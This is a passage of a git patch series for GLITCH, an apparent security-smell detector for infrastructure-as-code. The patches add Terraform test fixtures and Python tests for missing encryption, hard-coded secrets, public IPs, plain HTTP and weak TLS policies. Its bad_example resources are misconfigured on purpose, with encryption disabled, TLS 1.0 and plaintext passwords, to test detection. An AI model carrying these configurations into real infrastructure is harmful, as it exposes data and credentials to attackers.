aws_efs_access_point.test.id + iam = "ENABLED" + } + } + } +} + +resource "aws_ecs_task_definition" "good_example" { + family = "service" + container_definitions = file("task-definitions/service.json") + + volume { + name = "service-storage" + + efs_volume_configuration { + file_system_id = aws_efs_file_system.fs.id + root_directory = "/opt/data" + transit_encryption = "ENABLED" + authorization_config { + access_point_id = aws_efs_access_point.test.id + iam = "ENABLED" + } + } + } +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/efs-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/efs-encryption.tf new file mode 100644 index 00000000..dba73ea5 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/efs-encryption.tf @@ -0,0 +1,14 @@ +resource "aws_efs_file_system" "bad_example" { +} + +resource "aws_efs_file_system" "bad_example2" { + name = "bar" + encrypted = false + kms_key_id = "" +} + +resource "aws_efs_file_system" "good_example" { + name = "bar" + encrypted = true + kms_key_id = "my_kms_key" +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/eks-encryption-secrets-enabled.tf b/glitch/tests/security/terraform/files/missing-encryption/eks-encryption-secrets-enabled.tf new file mode 100644 index 00000000..2a8d58c2 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/eks-encryption-secrets-enabled.tf @@ -0,0 +1,59 @@ +resource "aws_eks_cluster" "bad_example" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["1.1.1.1"] + } +} + +resource "aws_eks_cluster" "bad_example2" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + encryption_config { + resources = [ "secrets" ] + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["1.1.1.1"] + } +} + +resource "aws_eks_cluster" "bad_example3" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + encryption_config { + resources = [ "secret" ] + provider { + key_arn = var.kms_arn + } + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["1.1.1.1"] + } +} + +resource "aws_eks_cluster" "bad_example4" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + encryption_config { + provider { + key_arn = var.kms_arn + } + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["1.1.1.1"] + } +} + +resource "aws_eks_cluster" "good_example" { + enabled_cluster_log_types = ["api", "authenticator", "audit", "scheduler", "controllermanager"] + encryption_config { + resources = [ "secrets", "something"] + provider { + key_arn = var.kms_arn + } + } + vpc_config { + endpoint_public_access = false + public_access_cidrs = ["1.1.1.1"] + } +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/elasticache-enable-at-rest-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/elasticache-enable-at-rest-encryption.tf new file mode 100644 index 00000000..435f3467 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/elasticache-enable-at-rest-encryption.tf @@ -0,0 +1,13 @@ +resource "aws_elasticache_replication_group" "bad_example" { + transit_encryption_enabled = true +} + +resource "aws_elasticache_replication_group" "bad_example2" { + at_rest_encryption_enabled = false + transit_encryption_enabled = true +} + +resource "aws_elasticache_replication_group" "good_example" { + at_rest_encryption_enabled = true + transit_encryption_enabled = true +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/missing-encryption/elasticache-enable-in-transit-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/elasticache-enable-in-transit-encryption.tf new file mode 100644 index 00000000..1b6e75a8 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/elasticache-enable-in-transit-encryption.tf @@ -0,0 +1,13 @@ +resource "aws_elasticache_replication_group" "bad_example" { + at_rest_encryption_enabled = true +} + +resource "aws_elasticache_replication_group" "bad_example2" { + at_rest_encryption_enabled = true + transit_encryption_enabled = false +} + +resource "aws_elasticache_replication_group" "good_example" { + at_rest_encryption_enabled = true + transit_encryption_enabled = true +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/missing-encryption/elasticsearch-domain-encrypted.tf b/glitch/tests/security/terraform/files/missing-encryption/elasticsearch-domain-encrypted.tf new file mode 100644 index 00000000..c6f1d9c4 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/elasticsearch-domain-encrypted.tf @@ -0,0 +1,48 @@ +resource "aws_elasticsearch_domain" "bad_example2" { + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } + +} + +resource "aws_elasticsearch_domain" "bad_example" { + encrypt_at_rest { + enabled = false + } + + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } +} + +resource "aws_elasticsearch_domain" "good_example" { + encrypt_at_rest { + enabled = true + } + + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } +} + diff --git a/glitch/tests/security/terraform/files/missing-encryption/elasticsearch-in-transit-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/elasticsearch-in-transit-encryption.tf new file mode 100644 index 00000000..9a8d9be1 --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/elasticsearch-in-transit-encryption.tf @@ -0,0 +1,46 @@ +resource "aws_elasticsearch_domain" "bad_example" { + encrypt_at_rest { + enabled = true + } + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + log_publishing_options { + log_type = "audit_logs" + } +} + +resource "aws_elasticsearch_domain" "bad_example2" { + node_to_node_encryption { + enabled = false + } + + encrypt_at_rest { + enabled = true + } + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + log_publishing_options { + log_type = "audit_logs" + } +} + +resource "aws_elasticsearch_domain" "good_example" { + node_to_node_encryption { + enabled = true + } + + encrypt_at_rest { + enabled = true + } + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + log_publishing_options { + log_type = "audit_logs" + } +} diff --git a/glitch/tests/security/terraform/files/missing-encryption/emr-enable-at-rest-encryption.tf b/glitch/tests/security/terraform/files/missing-encryption/emr-enable-at-rest-encryption.tf new file mode 100644 index 00000000..e3d9aafb --- /dev/null +++ b/glitch/tests/security/terraform/files/missing-encryption/emr-enable-at-rest-encryption.tf @@ -0,0 +1,43 @@ +resource "aws_emr_security_configuration" "bad_example" { + name = "emrsc_other" + + configuration = < Date: Fri, 31 Mar 2023 08:53:33 +0100 Subject: [PATCH 21/58] Tests for Terraform: Hard Coded Secrets code smell --- glitch/analysis/security.py | 2 +- glitch/configs/default.ini | 2 +- .../encryption-key-in-plaintext.tf | 12 ++++++ .../hard-coded-secrets/plaintext-password.tf | 7 ++++ .../plaintext-value-github-actions.tf | 13 ++++++ ...sensitive-credentials-in-vm-custom-data.tf | 21 ++++++++++ .../sensitive-data-in-plaintext.tf | 18 ++++++++ .../sensitive-data-stored-in-user-data.tf | 37 ++++++++++++++++ .../sensitive-environment-variables.tf | 42 +++++++++++++++++++ .../user-data-contains-sensitive-aws-keys.tf | 27 ++++++++++++ .../tests/security/terraform/test_security.py | 34 +++++++++++++++ 11 files changed, 213 insertions(+), 2 deletions(-) create mode 100644 glitch/tests/security/terraform/files/hard-coded-secrets/encryption-key-in-plaintext.tf create mode 100644 glitch/tests/security/terraform/files/hard-coded-secrets/plaintext-password.tf create mode 100644 glitch/tests/security/terraform/files/hard-coded-secrets/plaintext-value-github-actions.tf create mode 100644 glitch/tests/security/terraform/files/hard-coded-secrets/sensitive-credentials-in-vm-custom-data.tf create mode 100644 glitch/tests/security/terraform/files/hard-coded-secrets/sensitive-data-in-plaintext.tf create mode 100644 glitch/tests/security/terraform/files/hard-coded-secrets/sensitive-data-stored-in-user-data.tf create mode 100644 glitch/tests/security/terraform/files/hard-coded-secrets/sensitive-environment-variables.tf create mode 100644 glitch/tests/security/terraform/files/hard-coded-secrets/user-data-contains-sensitive-aws-keys.tf diff --git a/glitch/analysis/security.py b/glitch/analysis/security.py index 3e451965..3429a680 100644 --- a/glitch/analysis/security.py +++ b/glitch/analysis/security.py @@ -819,7 +819,7 @@ def get_module_var(c, name: str): if (item_value in SecurityVisitor.__PASSWORDS): errors.append(Error('sec_hard_pass', c, file, repr(c))) - if atomic_unit.type in SecurityVisitor.__GITHUB_ACTIONS and name == "plaintext_value": + if (atomic_unit.type in SecurityVisitor.__GITHUB_ACTIONS and name == "plaintext_value"): errors.append(Error('sec_hard_secr', c, file, repr(c))) for policy in SecurityVisitor.__INTEGRITY_POLICY: diff --git a/glitch/configs/default.ini b/glitch/configs/default.ini index 02ea9ff7..77d1a528 100644 --- a/glitch/configs/default.ini +++ b/glitch/configs/default.ini @@ -44,7 +44,7 @@ encrypt_configuration = [{"au_type": ["resource.aws_emr_security_configuration"] secrets_white_list = ["cloudfront_default_certificate", "client_cert_enabled", "api_key_required", "issue_client_certificate", "kms_key_id", "kms_key_arn", "key_arn", "performance_insights_kms_key_id", "kms_master_key_id", "kms_key_self_link", "bypass", - "enable_key_rotation", "storage_account_access_key_is_secondary"] + "enable_key_rotation", "storage_account_access_key_is_secondary", "key_pair"] github_actions_resources = ["resource.github_actions_environment_secret", "resource.github_actions_organization_secret", "resource.github_actions_secret"] diff --git a/glitch/tests/security/terraform/files/hard-coded-secrets/encryption-key-in-plaintext.tf b/glitch/tests/security/terraform/files/hard-coded-secrets/encryption-key-in-plaintext.tf new file mode 100644 index 00000000..e834376e --- /dev/null +++ b/glitch/tests/security/terraform/files/hard-coded-secrets/encryption-key-in-plaintext.tf @@ -0,0 +1,12 @@ +resource "google_compute_disk" "good_example" { + disk_encryption_key { + raw_key = "b2ggbm8gdGhpcyBpcyBiYWQ=" + kms_key_self_link = google_kms_crypto_key.my_crypto_key.id + } +} + +resource "google_compute_disk" "good_example" { + disk_encryption_key { + kms_key_self_link = google_kms_crypto_key.my_crypto_key.id + } +} diff --git a/glitch/tests/security/terraform/files/hard-coded-secrets/plaintext-password.tf b/glitch/tests/security/terraform/files/hard-coded-secrets/plaintext-password.tf new file mode 100644 index 00000000..06b00737 --- /dev/null +++ b/glitch/tests/security/terraform/files/hard-coded-secrets/plaintext-password.tf @@ -0,0 +1,7 @@ +resource "openstack_compute_instance_v2" "bad_example" { + admin_pass = "N0tSoS3cretP4ssw0rd" +} + +resource "openstack_compute_instance_v2" "good_example" { + key_pair = "my_key_pair_name" +} diff --git a/glitch/tests/security/terraform/files/hard-coded-secrets/plaintext-value-github-actions.tf b/glitch/tests/security/terraform/files/hard-coded-secrets/plaintext-value-github-actions.tf new file mode 100644 index 00000000..feff82f0 --- /dev/null +++ b/glitch/tests/security/terraform/files/hard-coded-secrets/plaintext-value-github-actions.tf @@ -0,0 +1,13 @@ +resource "github_actions_environment_secret" "bad_example" { + repository = "my repository name" + environment = "my environment" + secret_name = "my secret name" + plaintext_value = "sensitive secret string" +} + +resource "github_actions_environment_secret" "good_example" { + repository = "my repository name" + environment = "my environment" + secret_name = "my secret name" + encrypted_value = var.some_encrypted_secret_string +} diff --git a/glitch/tests/security/terraform/files/hard-coded-secrets/sensitive-credentials-in-vm-custom-data.tf b/glitch/tests/security/terraform/files/hard-coded-secrets/sensitive-credentials-in-vm-custom-data.tf new file mode 100644 index 00000000..4f867897 --- /dev/null +++ b/glitch/tests/security/terraform/files/hard-coded-secrets/sensitive-credentials-in-vm-custom-data.tf @@ -0,0 +1,21 @@ +resource "azurerm_virtual_machine" "bad_example" { + os_profile { + custom_data =< Date: Fri, 31 Mar 2023 09:04:51 +0100 Subject: [PATCH 22/58] Tests for Terraform: Public IP code smell --- .../google-compute-intance-with-public-ip.tf | 33 +++++++++++++++++++ .../lauch-configuration-public-ip-addr.tf | 21 ++++++++++++ .../public-ip/oracle-compute-no-public-ip.tf | 9 +++++ .../public-ip/subnet-public-ip-address.tf | 9 +++++ .../tests/security/terraform/test_security.py | 18 ++++++++++ 5 files changed, 90 insertions(+) create mode 100644 glitch/tests/security/terraform/files/public-ip/google-compute-intance-with-public-ip.tf create mode 100644 glitch/tests/security/terraform/files/public-ip/lauch-configuration-public-ip-addr.tf create mode 100644 glitch/tests/security/terraform/files/public-ip/oracle-compute-no-public-ip.tf create mode 100644 glitch/tests/security/terraform/files/public-ip/subnet-public-ip-address.tf diff --git a/glitch/tests/security/terraform/files/public-ip/google-compute-intance-with-public-ip.tf b/glitch/tests/security/terraform/files/public-ip/google-compute-intance-with-public-ip.tf new file mode 100644 index 00000000..57182178 --- /dev/null +++ b/glitch/tests/security/terraform/files/public-ip/google-compute-intance-with-public-ip.tf @@ -0,0 +1,33 @@ +resource "google_compute_instance" "bad_example" { + network_interface { + network = "default" + access_config { + } + } + + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} + +resource "google_compute_instance" "good_example" { + network_interface { + network = "default" + } + + metadata { + block-project-ssh-keys = true + } + boot_disk { + kms_key_self_link = "something" + } + service_account { + email = "example@email.com" + } +} diff --git a/glitch/tests/security/terraform/files/public-ip/lauch-configuration-public-ip-addr.tf b/glitch/tests/security/terraform/files/public-ip/lauch-configuration-public-ip-addr.tf new file mode 100644 index 00000000..6c651c0a --- /dev/null +++ b/glitch/tests/security/terraform/files/public-ip/lauch-configuration-public-ip-addr.tf @@ -0,0 +1,21 @@ +resource "aws_launch_configuration" "bad_example" { + associate_public_ip_address = true + + ebs_block_device { + encrypted = true + } + root_block_device { + encrypted = true + } +} + +resource "aws_launch_configuration" "good_example" { + associate_public_ip_address = false + + ebs_block_device { + encrypted = true + } + root_block_device { + encrypted = true + } +} diff --git a/glitch/tests/security/terraform/files/public-ip/oracle-compute-no-public-ip.tf b/glitch/tests/security/terraform/files/public-ip/oracle-compute-no-public-ip.tf new file mode 100644 index 00000000..e955add2 --- /dev/null +++ b/glitch/tests/security/terraform/files/public-ip/oracle-compute-no-public-ip.tf @@ -0,0 +1,9 @@ +resource "opc_compute_ip_address_reservation" "bad_example" { + name = "my-ip-address" + ip_address_pool = "public-ippool" +} + +resource "opc_compute_ip_address_reservation" "good_example" { + name = "my-ip-address" + ip_address_pool = "cloud-ippool" +} diff --git a/glitch/tests/security/terraform/files/public-ip/subnet-public-ip-address.tf b/glitch/tests/security/terraform/files/public-ip/subnet-public-ip-address.tf new file mode 100644 index 00000000..43e4f816 --- /dev/null +++ b/glitch/tests/security/terraform/files/public-ip/subnet-public-ip-address.tf @@ -0,0 +1,9 @@ +resource "aws_subnet" "bad_example" { + vpc_id = "vpc-123456" + map_public_ip_on_launch = true +} + +resource "aws_subnet" "good_example" { + vpc_id = "vpc-123456" + map_public_ip_on_launch = false +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index a57c1b47..056115ba 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -424,5 +424,23 @@ def test_terraform_hard_coded_secrets(self): 1, ["sec_hard_secr"], [9] ) + def test_terraform_public_ip(self): + self.__help_test( + "tests/security/terraform/files/public-ip/google-compute-intance-with-public-ip.tf", + 1, ["sec_public_ip"], [4] + ) + self.__help_test( + "tests/security/terraform/files/public-ip/lauch-configuration-public-ip-addr.tf", + 1, ["sec_public_ip"], [2] + ) + self.__help_test( + "tests/security/terraform/files/public-ip/oracle-compute-no-public-ip.tf", + 1, ["sec_public_ip"], [3] + ) + self.__help_test( + "tests/security/terraform/files/public-ip/subnet-public-ip-address.tf", + 1, ["sec_public_ip"], [3] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From 5f2bf344dcc780640103b649ebacbbdc13d8adf8 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 31 Mar 2023 09:23:30 +0100 Subject: [PATCH 23/58] Tests for Terraform: Use of HTTP without TLS code smell --- .../azure-appservice-enforce-https.tf | 21 ++++++++ .../azure-storage-enforce-https.tf | 37 ++++++++++++++ .../cloudfront-enforce-https.tf | 37 ++++++++++++++ .../digitalocean-compute-enforce-https.tf | 29 +++++++++++ .../elastic-search-enforce-https.tf | 50 +++++++++++++++++++ .../elb-use-plain-http.tf | 13 +++++ .../tests/security/terraform/test_security.py | 27 ++++++++++ 7 files changed, 214 insertions(+) create mode 100644 glitch/tests/security/terraform/files/use-of-http-without-tls/azure-appservice-enforce-https.tf create mode 100644 glitch/tests/security/terraform/files/use-of-http-without-tls/azure-storage-enforce-https.tf create mode 100644 glitch/tests/security/terraform/files/use-of-http-without-tls/cloudfront-enforce-https.tf create mode 100644 glitch/tests/security/terraform/files/use-of-http-without-tls/digitalocean-compute-enforce-https.tf create mode 100644 glitch/tests/security/terraform/files/use-of-http-without-tls/elastic-search-enforce-https.tf create mode 100644 glitch/tests/security/terraform/files/use-of-http-without-tls/elb-use-plain-http.tf diff --git a/glitch/tests/security/terraform/files/use-of-http-without-tls/azure-appservice-enforce-https.tf b/glitch/tests/security/terraform/files/use-of-http-without-tls/azure-appservice-enforce-https.tf new file mode 100644 index 00000000..6024564b --- /dev/null +++ b/glitch/tests/security/terraform/files/use-of-http-without-tls/azure-appservice-enforce-https.tf @@ -0,0 +1,21 @@ +resource "azurerm_function_app" "bad_example" { + auth_settings { + enabled = true + } +} + +resource "azurerm_function_app" "bad_example2" { + https_only = false + + auth_settings { + enabled = true + } +} + +resource "azurerm_function_app" "good_example" { + https_only = true + + auth_settings { + enabled = true + } +} diff --git a/glitch/tests/security/terraform/files/use-of-http-without-tls/azure-storage-enforce-https.tf b/glitch/tests/security/terraform/files/use-of-http-without-tls/azure-storage-enforce-https.tf new file mode 100644 index 00000000..e07033b2 --- /dev/null +++ b/glitch/tests/security/terraform/files/use-of-http-without-tls/azure-storage-enforce-https.tf @@ -0,0 +1,37 @@ +resource "azurerm_storage_account" "bad_example" { + enable_https_traffic_only = false + + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example" { + storage_account_id = azurerm_storage_account.bad_example.id +} + +resource "azurerm_storage_account" "good_example" { + enable_https_traffic_only = true + + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "good_example" { + storage_account_id = azurerm_storage_account.good_example.id +} \ No newline at end of file diff --git a/glitch/tests/security/terraform/files/use-of-http-without-tls/cloudfront-enforce-https.tf b/glitch/tests/security/terraform/files/use-of-http-without-tls/cloudfront-enforce-https.tf new file mode 100644 index 00000000..d8422e75 --- /dev/null +++ b/glitch/tests/security/terraform/files/use-of-http-without-tls/cloudfront-enforce-https.tf @@ -0,0 +1,37 @@ +resource "aws_cloudfront_distribution" "bad_example" { + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } + web_acl_id = "something" + logging_config { + bucket = "some_bucket" + } +} + +resource "aws_cloudfront_distribution" "bad_example2" { + default_cache_behavior { + viewer_protocol_policy = "allow-all" + } + + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } + web_acl_id = "something" + logging_config { + bucket = "some_bucket" + } +} + +resource "aws_cloudfront_distribution" "good_example" { + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + + viewer_certificate { + minimum_protocol_version = "tlsv1.2_2021" + } + web_acl_id = "something" + logging_config { + bucket = "some_bucket" + } +} diff --git a/glitch/tests/security/terraform/files/use-of-http-without-tls/digitalocean-compute-enforce-https.tf b/glitch/tests/security/terraform/files/use-of-http-without-tls/digitalocean-compute-enforce-https.tf new file mode 100644 index 00000000..065f82e8 --- /dev/null +++ b/glitch/tests/security/terraform/files/use-of-http-without-tls/digitalocean-compute-enforce-https.tf @@ -0,0 +1,29 @@ +resource "digitalocean_loadbalancer" "bad_example" { + name = "bad_example-1" + region = "nyc3" + + forwarding_rule { + entry_port = 80 + entry_protocol = "http" + + target_port = 80 + target_protocol = "http" + } + + droplet_ids = [digitalocean_droplet.web.id] +} + +resource "digitalocean_loadbalancer" "bad_example" { + name = "bad_example-1" + region = "nyc3" + + forwarding_rule { + entry_port = 443 + entry_protocol = "https" + + target_port = 443 + target_protocol = "https" + } + + droplet_ids = [digitalocean_droplet.web.id] +} diff --git a/glitch/tests/security/terraform/files/use-of-http-without-tls/elastic-search-enforce-https.tf b/glitch/tests/security/terraform/files/use-of-http-without-tls/elastic-search-enforce-https.tf new file mode 100644 index 00000000..c5a3bc2c --- /dev/null +++ b/glitch/tests/security/terraform/files/use-of-http-without-tls/elastic-search-enforce-https.tf @@ -0,0 +1,50 @@ +resource "aws_elasticsearch_domain" "bad_example" { + domain_endpoint_options { + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } +} + +resource "aws_elasticsearch_domain" "bad_example2" { + domain_endpoint_options { + enforce_https = false + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } +} + +resource "aws_elasticsearch_domain" "good_example" { + domain_endpoint_options { + enforce_https = true + tls_security_policy = "policy-min-tls-1-2-2019-07" + } + + encrypt_at_rest { + enabled = true + } + node_to_node_encryption { + enabled = true + } + log_publishing_options { + log_type = "audit_logs" + } +} + diff --git a/glitch/tests/security/terraform/files/use-of-http-without-tls/elb-use-plain-http.tf b/glitch/tests/security/terraform/files/use-of-http-without-tls/elb-use-plain-http.tf new file mode 100644 index 00000000..2c8e084a --- /dev/null +++ b/glitch/tests/security/terraform/files/use-of-http-without-tls/elb-use-plain-http.tf @@ -0,0 +1,13 @@ +resource "aws_alb_listener" "bad_example" { + ssl_policy = "elbsecuritypolicy-tls-1-2-ext-2018-06" +} + +resource "aws_alb_listener" "bad_example2" { + protocol = "HTTP" + ssl_policy = "elbsecuritypolicy-tls-1-2-ext-2018-06" +} + +resource "aws_alb_listener" "good_example" { + protocol = "HTTPS" + ssl_policy = "elbsecuritypolicy-tls-1-2-ext-2018-06" +} diff --git a/glitch/tests/security/terraform/test_security.py b/glitch/tests/security/terraform/test_security.py index 056115ba..f84f33e7 100644 --- a/glitch/tests/security/terraform/test_security.py +++ b/glitch/tests/security/terraform/test_security.py @@ -441,6 +441,33 @@ def test_terraform_public_ip(self): "tests/security/terraform/files/public-ip/subnet-public-ip-address.tf", 1, ["sec_public_ip"], [3] ) + + def test_terraform_use_of_http_without_tls(self): + self.__help_test( + "tests/security/terraform/files/use-of-http-without-tls/azure-appservice-enforce-https.tf", + 2, ["sec_https", "sec_https"], [1, 8] + ) + self.__help_test( + "tests/security/terraform/files/use-of-http-without-tls/azure-storage-enforce-https.tf", + 1, ["sec_https"], [2] + ) + self.__help_test( + "tests/security/terraform/files/use-of-http-without-tls/cloudfront-enforce-https.tf", + 2, ["sec_https", "sec_https"], [1, 13] + ) + self.__help_test( + "tests/security/terraform/files/use-of-http-without-tls/digitalocean-compute-enforce-https.tf", + 1, ["sec_https"], [7] + ) + self.__help_test( + "tests/security/terraform/files/use-of-http-without-tls/elastic-search-enforce-https.tf", + 2, ["sec_https", "sec_https"], [1, 19] + ) + self.__help_test( + "tests/security/terraform/files/use-of-http-without-tls/elb-use-plain-http.tf", + 2, ["sec_https", "sec_https"], [1, 6] + ) + if __name__ == '__main__': unittest.main() \ No newline at end of file From 318e4955215d66f198d42ca73f19ab7b6a481746 Mon Sep 17 00:00:00 2001 From: joaotgoncalves Date: Fri, 31 Mar 2023 09:50:44 +0100 Subject: [PATCH 24/58] Tests for Terraform: SSL/TLS/mTLS Policy code smell --- .../api-gateway-secure-tls-policy.tf | 10 ++ .../azure-appservice-require-client-cert.tf | 22 +++ .../azure-appservice-secure-tls-policy.tf | 31 +++++ .../azure-storage-use-secure-tls-policy.tf | 54 ++++++++ .../cloudfront-secure-tls-policy.tf | 37 +++++ .../database-enable.ssl-eforcement.tf | 16 +++ .../database-secure-tls-policy.tf | 29 ++++ .../elastic-search-secure-tls-policy.tf | 49 +++++++ .../elb-secure-tls-policy.tf | 13 ++ .../google-compute-secure-tls-policy.tf | 10 ++ .../sql-encrypt-in-transit-data.tf | 128 ++++++++++++++++++ .../tests/security/terraform/test_security.py | 45 ++++++ 12 files changed, 444 insertions(+) create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/api-gateway-secure-tls-policy.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-require-client-cert.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-secure-tls-policy.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-storage-use-secure-tls-policy.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/cloudfront-secure-tls-policy.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/database-enable.ssl-eforcement.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/database-secure-tls-policy.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/elastic-search-secure-tls-policy.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/elb-secure-tls-policy.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/google-compute-secure-tls-policy.tf create mode 100644 glitch/tests/security/terraform/files/ssl-tls-mtls-policy/sql-encrypt-in-transit-data.tf diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/api-gateway-secure-tls-policy.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/api-gateway-secure-tls-policy.tf new file mode 100644 index 00000000..ab632746 --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/api-gateway-secure-tls-policy.tf @@ -0,0 +1,10 @@ +resource "aws_api_gateway_domain_name" "bad_example" { +} + +resource "aws_api_gateway_domain_name" "bad_example2" { + security_policy = "TLS_1_0" +} + +resource "aws_api_gateway_domain_name" "good_example" { + security_policy = "TLS_1_2" +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-require-client-cert.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-require-client-cert.tf new file mode 100644 index 00000000..e9554aad --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-require-client-cert.tf @@ -0,0 +1,22 @@ +resource "azurerm_app_service" "bad_example" { + https_only = true + auth_settings { + enabled = true + } +} + +resource "azurerm_app_service" "bad_example2" { + client_cert_enabled = false + https_only = true + auth_settings { + enabled = true + } +} + +resource "azurerm_app_service" "good_example" { + client_cert_enabled = true + https_only = true + auth_settings { + enabled = true + } +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-secure-tls-policy.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-secure-tls-policy.tf new file mode 100644 index 00000000..58aba0c1 --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-appservice-secure-tls-policy.tf @@ -0,0 +1,31 @@ +resource "azurerm_app_service" "bad_example" { + site_config { + min_tls_version = "1.0" + } + + client_cert_enabled = true + https_only = true + auth_settings { + enabled = true + } +} + +resource "azurerm_app_service" "good_example" { + client_cert_enabled = true + https_only = true + auth_settings { + enabled = true + } +} + +resource "azurerm_app_service" "good_example2" { + site_config { + min_tls_version = "1.2" + } + + client_cert_enabled = true + https_only = true + auth_settings { + enabled = true + } +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-storage-use-secure-tls-policy.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-storage-use-secure-tls-policy.tf new file mode 100644 index 00000000..571c7cfc --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/azure-storage-use-secure-tls-policy.tf @@ -0,0 +1,54 @@ +resource "azurerm_storage_account" "bad_example" { + min_tls_version = "TLS1_1" + + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "bad_example" { + storage_account_id = azurerm_storage_account.bad_example.id +} + +resource "azurerm_storage_account" "good_example" { + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "good_example" { + storage_account_id = azurerm_storage_account.good_example.id +} + +resource "azurerm_storage_account" "good_example2" { + min_tls_version = "TLS1_2" + + queue_properties { + logging { + delete = true + read = true + write = true + } + } + network_rules { + default_action = "deny" + } +} + +resource "azurerm_storage_account_customer_managed_key" "good_example2" { + storage_account_id = azurerm_storage_account.good_example2.id +} diff --git a/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/cloudfront-secure-tls-policy.tf b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/cloudfront-secure-tls-policy.tf new file mode 100644 index 00000000..902800cb --- /dev/null +++ b/glitch/tests/security/terraform/files/ssl-tls-mtls-policy/cloudfront-secure-tls-policy.tf @@ -0,0 +1,37 @@ +resource "aws_cloudfront_distribution" "bad_example" { + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + web_acl_id = "something" + logging_config { + bucket = "some_bucket" + } +} + +resource "aws_cloudfront_distribution" "bad_example2" { + viewer_certificate { + minimum_protocol_version = "TLSv1.0" + } + + default_cache_behavior { + viewer_protocol_policy = "redirect-to-https" + } + web_acl_id = "something" + logging_config { + bucket = "some_bucket" + } +} 